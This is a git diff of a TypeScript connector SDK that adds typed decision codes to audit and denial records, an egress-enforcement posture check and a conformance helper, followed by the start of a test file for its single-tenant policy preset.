-  readonly phase: 'input' | 'output';
-
-  constructor(connector: string, phase: 'input' | 'output') {
-    super('connector invocation failed validation');
-    this.name = 'ConnectorValidationError';
-    this.connector = connector;
-    this.phase = phase;
-  }
-}
-
 const manifests = new WeakMap<object, PermissionManifest>();
 const DIRECT_INVOCATION_STATE = Symbol('breakwater.direct-invocation-state');
 
@@ -769,6 +547,15 @@ export function connectorManifest(
   return manifests.get(tool);
 }
 
+/** Resolved egress posture; `undefined` for a tool createConnector did not build. */
+export function connectorEgressPosture(
+  tool: object,
+): ConnectorEgressPosture | undefined {
+  const manifest = manifests.get(tool);
+  if (manifest === undefined) return undefined;
+  return resolveEgressPosture(manifest);
+}
+
 function assertLegacyMigrationIdentity(
   identity: LegacyConnectorIdempotencyIdentity,
 ): void {
@@ -980,10 +767,6 @@ function hasBackgroundOverride(input: unknown): boolean {
   );
 }
 
-function errorMessage(error: unknown): string {
-  return error instanceof Error ? error.message : String(error);
-}
-
 // The caller's opaque isolation scope (multi-tenant hosts mint their tenant
 // id; see ISOLATION_SCOPE_CONTEXT_KEY). Used as a KEY SEGMENT only — never
 // parsed. Absent (or non-string) scope preserves the single-tenant keys
@@ -1107,7 +890,6 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
     egress: Object.freeze([...(config.permissions.egress ?? [])]),
     ...(requiredPermissions !== undefined ? { requiredPermissions } : {}),
   });
-
   assertEgressHostList(
     manifest.egress ?? [],
     (entry) =>
@@ -1137,14 +919,18 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
   // the outer Mastra schema remains separately fingerprinted for direct calls.
   const outputStandard = outputValidator?.['~standard'];
   const outputValidate = outputStandard?.validate;
-  if (manifest.idempotencyKey && !policies.idempotencyStore) {
+  const store = policies.idempotencyStore;
+  if (manifest.idempotencyKey && !store) {
     throw new TypeError(
       `connector ${id}: permissions.idempotencyKey requires policies.idempotencyStore (InMemoryIdempotencyStore works for dev/tests)`,
     );
   }
+  // Sampled once here; the execute path and the legacy migrator read it again
+  // per call, which is why this read is not shared with them.
+  const declaredKeyMigration = policies.idempotencyKeyMigration;
   if (
-    policies.idempotencyKeyMigration !== undefined &&
-    policies.idempotencyKeyMigration !== 'legacy-writers-drained'
+    declaredKeyMigration !== undefined &&
+    declaredKeyMigration !== 'legacy-writers-drained'
   ) {
     throw new TypeError(
       `connector ${id}: policies.idempotencyKeyMigration must be 'legacy-writers-drained' when provided`,
@@ -1160,6 +946,21 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
       `connector ${id}: config.dryRunExecute requires permissions.dryRun (the manifest must declare what the connector supports)`,
     );
   }
+  if (
+    manifest.egressEnforcement !== undefined &&
+    manifest.egressEnforcement !== 'enforced' &&
+    manifest.egressEnforcement !== 'declaration-only'
+  ) {
+    throw new TypeError(
+      `connector ${id}: permissions.egressEnforcement must be 'enforced' or 'declaration-only'`,
+    );
+  }
+  const egressEnforcement = resolveEgressPosture(manifest);
+  if (policies.requireEgressEnforcement && egressEnforcement !== 'enforced') {
+    throw new TypeError(
+      `connector ${id}: policies.requireEgressEnforcement refuses a connector whose permissions.egressEnforcement is not 'enforced'`,
+    );
+  }
   // v1: only a read-only connector may opt into background execution (DL-005).
   // A write / destructive / idempotent connector carries a side effect whose
   // approval topology the background flip would move off the foreground path,
@@ -1173,19 +974,21 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
     manifest.rateLimit !== undefined
       ? parseRateLimit(id, manifest.rateLimit)
       : undefined;
-  if (rateLimitSpec && !policies.rateLimitStore) {
+  const rateLimitStore = rateLimitSpec ? policies.rateLimitStore : undefined;
+  if (rateLimitSpec && !rateLimitStore) {
     throw new TypeError(
       `connector ${id}: permissions.rateLimit requires policies.rateLimitStore (InMemoryRateLimitStore works for dev/tests)`,
     );
   }
   const rateLimit =
-    rateLimitSpec && policies.rateLimitStore
-      ? { ...rateLimitSpec, store: policies.rateLimitStore }
+    rateLimitSpec && rateLimitStore
+      ? { ...rateLimitSpec, store: rateLimitStore }
       : undefined;
 
   const auditRecord = validatedPolicies.auditRecord;
+  const networkEgressPolicy = policies.networkEgress;
   const gates: readonly ToolPolicyEvaluator[] = [
-    ...(policies.networkEgress ? [networkEgress(policies.networkEgress)] : []),
+    ...(networkEgressPolicy ? [networkEgress(networkEgressPolicy)] : []),
     ...(policies.evaluators ?? []),
   ];
   const needsApproval = approvalRequired(
@@ -1193,7 +996,6 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
     manifest,
     policies.writePermissions,
   );
-  const store = policies.idempotencyStore;
   if (
     manifest.idempotencyKey &&
     store &&
@@ -1211,6 +1013,7 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
   function record(
     requestContext: RequestContext | undefined,
     decision: 'allowed' | 'denied' | 'error',
+    code: ConnectorDecisionCode,
     extra: { reason?: string; detail?: Record<string, unknown> } = {},
     action = 'connector.execute',
   ): void {
@@ -1219,45 +1022,43 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
       action,
       resource: id,
       decision,
+      decisionCode: code,
+      ...CONNECTOR_DECISIONS[code],
       reason: extra.reason,
       detail: agentAuditDetail(requestContext, {
         sideEffect: manifest.sideEffect,
         ...extra.detail,
+        egressEnforcement,
       }),
     });
   }
 
-  // `detail` merges into the denial's audit detail beside `policy` — for
-  // gates whose audit contract carries more than the policy name (the
-  // required-permissions gate records requiredPermissions and the policy
-  // snapshot version on every decision).
   function deny(
     requestContext: RequestContext | undefined,
     policy: string,
     reason: string,
+    metadata: ConnectorDenialMetadata,
     detail: Record<string, unknown> = {},
   ): never {
-    record(requestContext, 'denied', {
+    const error = new ConnectorPolicyError(id, policy, reason, metadata);
+    record(requestContext, 'denied', error.code, {
       reason: `${policy}: ${reason}`,
-      detail: { policy, ...detail },
+      detail: { policy, ...error.details, ...detail },
     });
-    throw new ConnectorPolicyError(id, policy, reason);
+    throw error;
   }
 
-  // Single audit seam: every path that produces a successful result — a
-  // fresh execute, a replayed/joined idempotent result, or a dry-run
-  // simulation — routes through here to record the one 'allowed' audit
-  // event, instead of duplicating that call at each site. There is no
-  // post-execute policy stage today: retention and isolation
-  // (crossWorkflowIsolation, tenantIsolation) are PRE-execute evaluators run
-  // from the `gates` loop above, before execute — nothing currently gates
-  // the result of a call.
   function finishAllowed(
     requestContext: RequestContext | undefined,
     result: TOutput,
     detail?: Record<string, unknown>,
   ): TOutput {
-    record(requestContext, 'allowed', detail ? { detail } : {});
+    record(
+      requestContext,
+      'allowed',
+      'CONNECTOR_ALLOWED',
+      detail ? { detail } : {},
+    );
     return result;
   }
 
@@ -1266,18 +1067,9 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
   // them as 'execute threw' when they propagate out through the attempt.
   const auditedErrors = new WeakSet<object>();
 
-  // The WeakSet can only hold objects, so a primitive throw from a custom
-  // store is wrapped once (message preserved, original on `cause`) and the
-  // WRAPPER is what propagates — otherwise audit-once breaks and the same
-  // store crash records a second, misattributed 'execute threw' event.
-  function markAudited(error: unknown): unknown {
-    if (typeof error === 'object' && error !== null) {
-      auditedErrors.add(error);
-      return error;
-    }
-    const wrapped = new Error(errorMessage(error), { cause: error });
-    auditedErrors.add(wrapped);
-    return wrapped;
+  function markAudited<T extends Error>(error: T): T {
+    auditedErrors.add(error);
+    return error;
   }
 
   function recordExecuteError(
@@ -1285,13 +1077,16 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
     error: unknown,
     detail: Record<string, unknown> = {},
   ): void {
-    if (error instanceof OutputValidationFailure) return;
-    // This connector's own policy denials (e.g. the rate-limit gate inside
-    // a keyed attempt) were already audited by deny(); a second 'execute
-    // threw' record would misattribute them to the connector's code. A
-    // NESTED connector's denial still records here — that composite call
-    // did fail in execute.
-    if (error instanceof ConnectorPolicyError && error.connector === id) {
+    if (isInstanceOf(error, OutputValidationFailure)) return;
+    // A policy denial this connector recognises as its own (e.g. the
+    // rate-limit gate inside a keyed attempt) was already audited by deny();
+    // a second 'execute threw' record would misattribute it to the
+    // connector's code. A NESTED connector's denial still records here — that
+    // composite call did fail in execute.
+    if (
+      isInstanceOf(error, ConnectorPolicyError) &&
+      readProperty(error, 'connector') === id
+    ) {
       return;
     }
     if (
@@ -1302,17 +1097,22 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
       return;
     }
     const safe = safeAuditErrorSummary(error);
-    record(requestContext, 'error', {
-      reason: safe?.reason ?? 'connector execution failed',
-      detail: { stage: 'execute', ...safe?.detail, ...detail },
-    });
+    record(
+      requestContext,
+      'error',
+      connectorErrorDecision(error)?.code ?? 'CONNECTOR_EXECUTION_FAILED',
+      {
+        reason: safe?.reason ?? 'connector execution failed',
+        detail: { stage: 'execute', ...safe?.detail, ...detail },
+      },
+    );
   }
 
   function recordOutputValidationError(
     requestContext: RequestContext | undefined,
     detail: Record<string, unknown> = {},
   ): void {
-    record(requestContext, 'error', {
+    record(requestContext, 'error', 'CONNECTOR_OUTPUT_INVALID', {
       reason: 'connector output validation failed',
       detail: { stage: 'output-validation', ...detail },
     });
@@ -1347,21 +1147,11 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
       }
       return validation.value;
     } catch (error) {
-      if (error instanceof OutputValidationFailure) throw error;
+      if (isInstanceOf(error, OutputValidationFailure)) throw error;
       throw new OutputValidationFailure('exception', error);
     }
   }
 
-  // Budget counts ACTUAL executions: denied calls, cached replays, and
-  // shared in-flight joins never consume it — hence an internal gate invoked
-  // immediately before each config.execute call site (reserve-keyed,
-  // legacy-keyed, plain), not a pre-execute evaluator. Audits exactly once:
-  // a denial goes through deny(), and a store crash is recorded here as
-  // 'rate-limit-store' and marked so recordExecuteError never re-records it
-  // as 'execute threw' when it propagates out of a keyed attempt.
-  // Fixed-window semantics: counts bucket into epoch-aligned windows, so a
-  // burst may span two adjacent windows; simplest correct budget for a
-  // per-connector cap.
   async function consumeRateLimit(
     requestContext: RequestContext | undefined,
   ): Promise<void> {
@@ -1392,27 +1182,37 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
       );
     } catch (error) {
       // Fail closed: an unbudgeted execution would break the declared cap.
-      record(requestContext, 'error', {
+      const failure = new ConnectorStoreError(id, 'rate-limit', 'increment', {
+        cause: error,
+      });
+      record(requestContext, 'error', failure.code, {
         reason: 'rate-limit store increment failed',
         detail: { stage: 'rate-limit-store' },
       });
-      throw markAudited(error);
+      throw markAudited(failure);
     }
     if (count > rateLimit.limit) {
-      deny(requestContext, 'rate-limit', `exceeded ${manifest.rateLimit}`);
+      deny(requestContext, 'rate-limit', `exceeded ${manifest.rateLimit}`, {
+        code: 'RATE_LIMIT_EXCEEDED',
+        details: { limit: rateLimit.limit, windowMs: rateLimit.windowMs },
+      });
     }
   }
 
   function recordStoreError(
     requestContext: RequestContext | undefined,
     op: 'get' | 'inspect' | 'put' | 'reserve' | 'release',
-    _error: unknown,
+    error: unknown,
     key: string,
-  ): void {
-    record(requestContext, 'error', {
+  ): ConnectorStoreError {
+    const failure = new ConnectorStoreError(id, 'idempotency', op, {
+      cause: error,
+    });
+    record(requestContext, 'error', failure.code, {
       reason: `idempotency store ${op} failed`,
       detail: { stage: 'idempotency-store', idempotencyKey: key },
     });
+    return failure;
   }
 
   // Join a same-isolate in-flight attempt for the same key. Await before
@@ -1506,60 +1306,33 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
     const toolCallId =
       context.agent?.toolCallId ?? directInvocation?.toolCallId;
 
-    // _background model-override defense (DL-005), FIRST — before the gates,
-    // the dry-run branch, and any execute. A `_background` field in the args
-    // asks the runtime to flip this call to background execution, a topology
-    // change a foreground-only connector must never take. Reject its presence
-    // outright unless the manifest opts in (read-only tools only, enforced at
-    // construction). Same argv-flag-smuggling posture as agent-cli buildFlags;
-    // fires for BOTH execute and dryRunExecute (both route through here).
-    //
-    // REACH (accuracy): this is DEFENSE-IN-DEPTH for direct / nested programmatic
-    // calls, NOT the agent-path guard. On the AGENT path core deletes
-    // `_background` from the tool-call args before dispatch (`delete args
-    // ._background`), UNCONDITIONALLY — schema or not — so this presence check
-    // sees clean args and fires on nothing there. What actually stops the model
-    // backgrounding a call on the agent path is core's OWN `resolveBackgroundConfig`
-    // baseEnabled gate: a breakwater connector sets no background config, so the
-    // tool is ineligible and the override cannot enable it. This check's
-    // independent teeth are direct / nested calls that hand args straight to
-    // execute, bypassing core's agent dispatch (and its stripping) entirely. And
-    // on EVERY path — including inside the background executor — the real write
-    // boundary is the requestContext GRANT gate below, not this check. The
-    // `backgroundExecution` tool-policy evaluator is the same defense-in-depth at
-    // the gate loop.
     if (!manifest.background && hasBackgroundOverride(inputData)) {
       deny(
         requestContext,
         'background',
         `tool-call args carry a '${LLM_BACKGROUND_OVERRIDE_KEY}' override but this connector is foreground-only (the manifest does not opt into background execution)`,
+        { code: 'BACKGROUND_OVERRIDE_DENIED' },
       );
     }
 
-    // The base egress guard is built once at construction; this per-call
-    // wrapper binds only this call's requestContext so an egress denial
-    // audits under it. The org allowlist already gated the DECLARED egress
-    // list (the networkEgress evaluator below); the guard pins the
-    // connector's ACTUAL requests to that list — redirect hops included. No
-    // declared egress means the guard denies all network. The denial audit
-    // fires here at the guard boundary, guaranteed even if the connector
-    // swallows the ConnectorPolicyError (recordExecuteError early-returns on
-    // this connector's own ConnectorPolicyError, so it is never re-recorded).
     const runtime: ConnectorRuntime = {
       fetch: async (input, init) => {
         try {
           return await baseEgressGuard(input, init);
         } catch (error) {
-          if (error instanceof EgressDeniedError) {
-            record(requestContext, 'denied', {
-              reason: `egress-fetch: ${error.reason}`,
-              detail: {
-                policy: 'egress-fetch',
-                host: error.host,
-                hop: error.hop,
-              },
-            });
-            throw new ConnectorPolicyError(id, 'egress-fetch', error.reason);
+          if (
+            error instanceof EgressDeniedError ||
+            error instanceof EgressGuardError
+          ) {
+            deny(
+              requestContext,
+              'egress-fetch',
+              error instanceof EgressDeniedError ? error.reason : error.message,
+              captureConnectorDenialMetadata({
+                code: error.code,
+                details: error.details,
+              }),
+            );
           }
           throw error;
         }
@@ -1575,33 +1348,33 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
         requestContext,
       };
       for (const gate of gates) {
-        let decision: PolicyDecision;
+        let refusal:
+          | { reason: string; metadata: ConnectorDenialMetadata }
+          | undefined;
         try {
-          decision = await gate.evaluate(toolCall);
+          const decision = await gate.evaluate(toolCall);
+          if (!decision.allowed) {
+            refusal = {
+              reason: decision.reason,
+              metadata: captureConnectorEvaluatorMetadata(decision),
+            };
+          }
         } catch (error) {
-          // Mirror PolicyEngine: an evaluator crash must not leave less
-          // audit evidence than a denial. Record, then fail closed.
-          record(requestContext, 'error', {
+          const failure = new ConnectorEvaluatorError(id, gate.name, {
+            cause: error,
+          });
+          record(requestContext, 'error', failure.code, {
             reason: `${gate.name} evaluator failed`,
             detail: { policy: gate.name },
           });
-          throw error;
+          throw markAudited(failure);
         }
-        if (!decision.allowed) {
-          deny(requestContext, gate.name, decision.reason);
+        if (refusal) {
+          deny(requestContext, gate.name, refusal.reason, refusal.metadata);
         }
       }
     }
 
-    // Authorization before capability (roadmap §9): required permissions ask
-    // WHO may invoke this connector at all, so the gate runs before the
-    // dry-run branch (a simulation still needs an authorized principal) and
-    // before the approval-grant gate (a valid approval must not elevate an
-    // otherwise unauthorized principal). Its input is the trusted
-    // `breakwater.principalPermissions` projection, mintable only by host/
-    // runtime code — a missing or malformed projection fails closed. Audit
-    // records the required identifiers and the policy snapshot version,
-    // never the principal's effective permission set.
     if (manifest.requiredPermissions !== undefined) {
       const required = manifest.requiredPermissions;
       const projection = requestContext?.get(PRINCIPAL_PERMISSIONS_CONTEXT_KEY);
@@ -1610,24 +1383,36 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
           requestContext,
           'required-permissions',
           'no valid principal permission projection is present; only a trusted host may mint it',
+          {
+            code: 'PERMISSION_PROJECTION_INVALID',
+            details: { requiredPermissions: required },
+          },
           { requiredPermissions: required, permissionPolicyVersion: null },
         );
       }
       const effective = new Set(projection.permissions);
-      if (!required.every((permission) => effective.has(permission))) {
+      const missingPermissions = required.filter(
+        (permission) => !effective.has(permission),
+      );
+      if (missingPermissions.length > 0) {
         deny(
           requestContext,
           'required-permissions',
           'required permissions are not satisfied',
           {
-            requiredPermissions: required,
-            permissionPolicyVersion: projection.policyVersion,
+            code: 'PERMISSION_MISSING',
+            details: {
+              requiredPermissions: required,
+              missingPermissions,
+              permissionPolicyVersion: projection.policyVersion,
+            },
           },
         );
       }
       record(
         requestContext,
         'allowed',
+        'PERMISSION_GRANTED',
         {
           reason: 'required permissions are satisfied',
           detail: {
@@ -1649,7 +1434,9 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
       // gates above still applied.
       const simulate = config.dryRunExecute;
       if (!manifest.dryRun || !simulate) {
-        deny(requestContext, 'dry-run', 'connector does not support dry-run');
+        deny(requestContext, 'dry-run', 'connector does not support dry-run', {
+          code: 'DRY_RUN_UNSUPPORTED',
+        });
       }
       try {
         const result = await simulate(typedInput, context, runtime);
@@ -1657,7 +1444,7 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
           dryRun: true,
         });
       } catch (error) {
-        if (error instanceof OutputValidationFailure) {
+        if (isInstanceOf(error, OutputValidationFailure)) {
           recordOutputValidationError(requestContext, { dryRun: true });
           if (directInvocation) {
             directInvocation.validationPhase = 'output';
@@ -1686,11 +1473,13 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
           requestContext,
           'write-permissions',
           'approval required and no matching structured grant was found',
+          { code: 'APPROVAL_GRANT_MISSING' },
         );
       }
       record(
         requestContext,
         'allowed',
+        'APPROVAL_GRANTED',
         {
           reason: 'structured approval grant matched',
           detail: {
@@ -1721,6 +1510,7 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
           requestContext,
           'idempotency',
           `manifest requires an idempotency key; set requestContext '${IDEMPOTENCY_KEY_CONTEXT_KEY}'`,
+          { code: 'IDEMPOTENCY_KEY_MISSING' },
         );
       }
       // Replay-cache key segments by isolation scope: metamind's canonical
@@ -1749,8 +1539,10 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
       try {
         return await keyedFlow(requestContext, storageKey, key, async () => {
           let legacy: IdempotencyInspection;
+          let inspectionOperation: 'get' | 'inspect' = 'get';
           try {
             if (isInspectableStore(store)) {
+              inspectionOperation = 'inspect';
               legacy = await store.inspect(legacyKey);
             } else {
               const record = await store.get(legacyKey);
@@ -1759,8 +1551,9 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
                 : { state: 'absent' };
             }
           } catch (error) {
-            recordStoreError(requestContext, 'inspect', error, key);
-            throw markAudited(error);
+            throw markAudited(
+              recordStoreError(requestContext, inspectionOperation, error, key),
+            );
           }
           if (legacy.state !== 'absent') {
             if (ambiguousLegacyKey) {
@@ -1768,6 +1561,7 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
                 requestContext,
                 'idempotency-key-migration',
                 'an ambiguous legacy idempotency record exists for this tuple; map it externally to exactly one v2 identity before retrying',
+                { code: 'IDEMPOTENCY_LEGACY_AMBIGUOUS' },
               );
             }
             if (legacy.state === 'replay') {
@@ -1781,6 +1575,7 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
               requestContext,
               'idempotency',
               'a legacy execution for this key is in progress; retry to replay its result',
+              { code: 'IDEMPOTENCY_CONFLICT' },
             );
           }
           if (policies.idempotencyKeyMigration !== 'legacy-writers-drained') {
@@ -1788,6 +1583,7 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
               requestContext,
               'idempotency-key-migration',
               `the legacy key is absent but v2 execution is disabled until policies.idempotencyKeyMigration acknowledges that every legacy writer sharing this store has been stopped and drained`,
+              { code: 'IDEMPOTENCY_MIGRATION_REQUIRED' },
             );
           }
 
@@ -1801,8 +1597,9 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
               // safe and preserves replay protection for the retry. Marked
               // audited: joined twins rethrow it via joinInflight, and
               // recordExecuteError must not re-record it as 'execute threw'.
-              recordStoreError(requestContext, 'reserve', error, key);
-              throw markAudited(error);
+              throw markAudited(
+                recordStoreError(requestContext, 'reserve', error, key),
+              );
             }
             if (reservation.state === 'replay') {
               return {
@@ -1820,6 +1617,7 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
                 requestContext,
                 'idempotency',
                 'another execution for this key is in progress; retry to replay its result',
+                { code: 'IDEMPOTENCY_CONFLICT' },
               );
             }
             if (reservation.tookOver) {
@@ -1828,7 +1626,7 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
               // not dead, if pendingTtlMs was set too low relative to the real
               // execute duration (agent-cli's definition-time guard checks
               // this; other connectors must size the store's TTL themselves).
-              record(requestContext, 'allowed', {
+              record(requestContext, 'allowed', 'IDEMPOTENCY_TAKEOVER', {
                 reason:
                   'stale-pending idempotency reservation taken over; the previous holder may still be executing',
                 detail: { idempotencyKey: key, tookOver: true },
@@ -1846,13 +1644,6 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
             // The consume stays INSIDE the attempt so denied calls, replays,
             // and joins never spend budget; single-audit of rate failures is
             // handled by deny()/auditedErrors.
-            // Accepted ordering quirk (audit D5, deliberate): reserve() runs
-            // BEFORE the rate-limit check, so a concurrent cross-isolate call
-            // for this same key that arrives while THIS attempt is later
-            // denied by the rate limit (and its reservation released) sees
-            // 'pending' and is denied 'idempotency' rather than 'rate-limit' —
-            // a transient misattribution in the audit reason, self-correcting
-            // on retry, with no duplicated side effect. Not fixed.
             const attempt = (async () => {
               try {
                 await consumeRateLimit(requestContext);
@@ -1869,13 +1660,9 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
                     token,
                   );
                 } catch (error) {
-                  // The side effect already succeeded; failing the call now
-                  // would invite a retry that re-executes it — the exact
-                  // duplication this store exists to prevent. Deliver the
-                  // result and surface the degraded replay protection in the
-                  // audit log. The reservation is deliberately NOT released: a
-                  // pending row blocks duplicates until the stale-pending TTL,
-                  // safer than inviting an immediate re-execute.
+                  // Returning the completed result avoids a retry that repeats
+                  // its side effect. The pending reservation prevents immediate
+                  // duplicate execution while replay persistence is unavailable.
                   recordStoreError(requestContext, 'put', error, key);
                 }
                 return validatedResult;
@@ -1886,7 +1673,7 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
                 // side effect, so keep the reservation pending instead of
                 // making an immediate retry duplicate it. This matches the
                 // fail-safe posture for a failed final put.
-                if (!(error instanceof OutputValidationFailure)) {
+                if (!isInstanceOf(error, OutputValidationFailure)) {
                   try {
                     await store.release(storageKey, token);
                   } catch (releaseError) {
@@ -1915,8 +1702,9 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
             // Fail closed: nothing has executed yet, so failing the call is
             // safe and preserves replay protection for the retry. Marked
             // audited so joined twins do not re-record it (see reserve probe).
-            recordStoreError(requestContext, 'get', error, key);
-            throw markAudited(error);
+            throw markAudited(
+              recordStoreError(requestContext, 'get', error, key),
+            );
           }
           if (cached) {
             return {
@@ -1946,7 +1734,7 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
           return { kind: 'attempt', attempt };
         });
       } catch (error) {
-        if (error instanceof OutputValidationFailure) {
+        if (isInstanceOf(error, OutputValidationFailure)) {
           recordOutputValidationError(requestContext, {
             idempotencyKey: key,
           });
@@ -1965,7 +1753,7 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
       const result = await config.execute(typedInput, context, runtime);
       return finishAllowed(requestContext, validateOutput(result));
     } catch (error) {
-      if (error instanceof OutputValidationFailure) {
+      if (isInstanceOf(error, OutputValidationFailure)) {
         recordOutputValidationError(requestContext);
         if (directInvocation) {
           directInvocation.validationPhase = 'output';
@@ -2085,6 +1873,8 @@ export function createConnector<TInput = unknown, TOutput = unknown>(
         try {
           targetResult = validateOutput(expectedRecord.result as TOutput);
         } catch (error) {
+          // validateOutput normalises every throw to this type, so the operand
+          // is one the SDK constructed and carries no prototype trap.
           if (error instanceof OutputValidationFailure) {
             if (error.kind === 'issues') {
               return { state: 'output-invalid', issues: error.issues };
@@ -2120,7 +1910,9 @@ export async function invokeConnector<TInput, TOutput>(
     connector === null ||
     !manifests.has(connector)
   ) {
-    throw new TypeError(
+    throw new ConnectorInvocationError(
+      undefined,
+      'CONNECTOR_UNREGISTERED',
       'invokeConnector requires a connector created by createConnector()',
     );
   }
@@ -2129,12 +1921,16 @@ export async function invokeConnector<TInput, TOutput>(
     !invocation ||
     !isConnectorInvocationBoundaryCurrent(connector, invocation)
   ) {
-    throw new TypeError(
+    throw new ConnectorInvocationError(
+      invocation?.id,
+      'CONNECTOR_BOUNDARY_MODIFIED',
       'invokeConnector refuses a connector whose execution boundary was modified after construction',
     );
   }
   if (options.toolCallId !== undefined && !nonEmptyString(options.toolCallId)) {
-    throw new TypeError(
+    throw new ConnectorInvocationError(
+      invocation.id,
+      'CONNECTOR_INVOCATION_OPTIONS_INVALID',
       'invokeConnector toolCallId must be a non-empty string when provided',
     );
   }
@@ -2173,13 +1969,36 @@ export async function invokeConnector<TInput, TOutput>(
     throw new ConnectorValidationError(invocation.id, 'input');
   }
   if (!state.entered) {
-    throw new TypeError(
+    throw new ConnectorInvocationError(
+      invocation.id,
+      'CONNECTOR_BOUNDARY_UNVERIFIABLE',
       'invokeConnector could not verify the connector enforcement boundary',
     );
   }
   return result as TOutput;
 }
 
+export type {
+  ConnectorDecisionCode,
+  ConnectorDecisionDetails,
+  ConnectorDenialCode,
+  ConnectorDenialMetadata,
+  ConnectorInvocationCode,
+  ConnectorPolicyName,
+  ConnectorStoreName,
+  ConnectorStoreOperation,
+} from '../connector-decision.js';
+export {
+  CONNECTOR_DECISIONS,
+  ConnectorEvaluatorError,
+  ConnectorInvocationError,
+  ConnectorPolicyError,
+  ConnectorStoreError,
+  ConnectorValidationError,
+  connectorDecisionRetryable,
+  isConnectorDecisionCode,
+} from '../connector-decision.js';
+
 export type {
   D1IdempotencyStoreOptions,
   IdempotencyBatchDatabase,
@@ -2187,8 +2006,6 @@ export type {
   IdempotencyDatabase,
   IdempotencyStatement,
 } from './d1-idempotency-store.js';
-// Durable D1-backed stores (kept in their own modules; only type imports
-// flow back into this one, so there is no runtime cycle).
 export { D1IdempotencyStore } from './d1-idempotency-store.js';
 export type {
   D1RateLimitStoreOptions,
@@ -2197,18 +2014,46 @@ export type {
   RateLimitStatement,
 } from './d1-rate-limit-store.js';
 export { D1RateLimitStore } from './d1-rate-limit-store.js';
+export const assertConnectorConformance: <TInput, TOutput>(
+  factory: ConnectorConformanceFactory<TInput, TOutput>,
+  options: ConnectorConformanceOptions<TInput>,
+) => Promise<ConnectorConformanceReport> = createConformanceAssertion({
+  connectorManifest,
+  connectorEgressPosture,
+  invokeConnector,
+});
+export type {
+  ConnectorConformanceCase,
+  ConnectorConformanceCaseResult,
+  ConnectorConformanceEntryPoint,
+  ConnectorConformanceEscape,
+  ConnectorConformanceFactory,
+  ConnectorConformanceFinding,
+  ConnectorConformanceFindingCode,
+  ConnectorConformanceOptions,
+  ConnectorConformanceReport,
+  ConnectorConformanceRequest,
+  ConnectorConformanceResponse,
+  ConnectorConformanceRuntime,
+} from './egress-conformance.js';
+export { ConnectorConformanceError } from './egress-conformance.js';
 export type {
   EgressDenial,
   EgressFetchBase,
   EgressFetchOptions,
   EgressGuardedFetch,
+  EgressGuardMetadata,
   EgressRequestInit,
   EgressResponse,
   EgressResponseHeaders,
 } from './egress-fetch.js';
 // Fetch-level egress enforcement (own module; createConnector wires it per
 // call as ConnectorRuntime.fetch, but it also works standalone).
-export { EgressDeniedError, egressFetch } from './egress-fetch.js';
+export {
+  EgressDeniedError,
+  EgressGuardError,
+  egressFetch,
+} from './egress-fetch.js';
 export type {
   SingleTenantAuditPosture,
   SingleTenantConnectorPolicies,
diff --git a/packages/breakwater/src/connector-sdk/single-tenant-preset.test.ts b/packages/breakwater/src/connector-sdk/single-tenant-preset.test.ts
index a84e3039..443db507 100644
--- a/packages/breakwater/src/connector-sdk/single-tenant-preset.test.ts
+++ b/packages/breakwater/src/connector-sdk/single-tenant-preset.test.ts
@@ -1,14 +1,16 @@
 // SPDX-License-Identifier: Apache-2.0
 import { RequestContext } from '@mastra/core/request-context';
 import type { Tool, ToolExecutionContext } from '@mastra/core/tools';
-import { describe, expect, it } from 'vitest';
+import { describe, expect, it, vi } from 'vitest';
 
 import { AuditLogger } from '../audit/index.js';
 import {
   backgroundExecution,
+  networkEgress,
   tenantIsolation,
 } from '../policy-engine/index.js';
 import {
+  connectorEgressPosture,
   connectorManifest,
   createConnector,
   D1IdempotencyStore,
@@ -45,6 +47,91 @@ function productionOptions(): SingleTenantConnectorPoliciesOptions {
 }
 
 describe('singleTenantConnectorPolicies', () => {
+  it('pins requireEgressEnforcement through the single-tenant preset', () => {
+    // #given
+    const options = {
+      ...productionOptions(),
+      requireEgressEnforcement: true as const,
+    };
+    const policies = singleTenantConnectorPolicies(options);
+    // #when
+    const connector = createConnector({
+      id: 'records.read',
+      description: 'Read one record',
+      permissions: { sideEffect: 'read', egressEnforcement: 'enforced' },
+      policies,
+      execute: async () => ({ ok: true }),
+    });
+    // #then
+    expect(Object.isFrozen(policies)).toBe(true);
+    expect(policies.requireEgressEnforcement).toBe(true);
+    expect(connectorEgressPosture(connector)).toBe('enforced');
+    expect(() =>
+      createConnector({
+        id: 'records.unenforced',
+        description: 'Read without declaring enforced egress',
+        permissions: { sideEffect: 'read' },
+        policies,
+        execute: async () => ({ ok: true }),
+      }),
+    ).toThrow(/requireEgressEnforcement/);
+  });
+
+  it('leaves requireEgressEnforcement off a preset built without it', () => {
+    // #given
+    const policies = singleTenantConnectorPolicies(productionOptions());
+    // #when
+    const connector = createConnector({
+      id: 'records.undeclared',
+      description: 'Read without declaring a posture',
+      permissions: { sideEffect: 'read' },
+      policies,
+      execute: async () => ({ ok: true }),
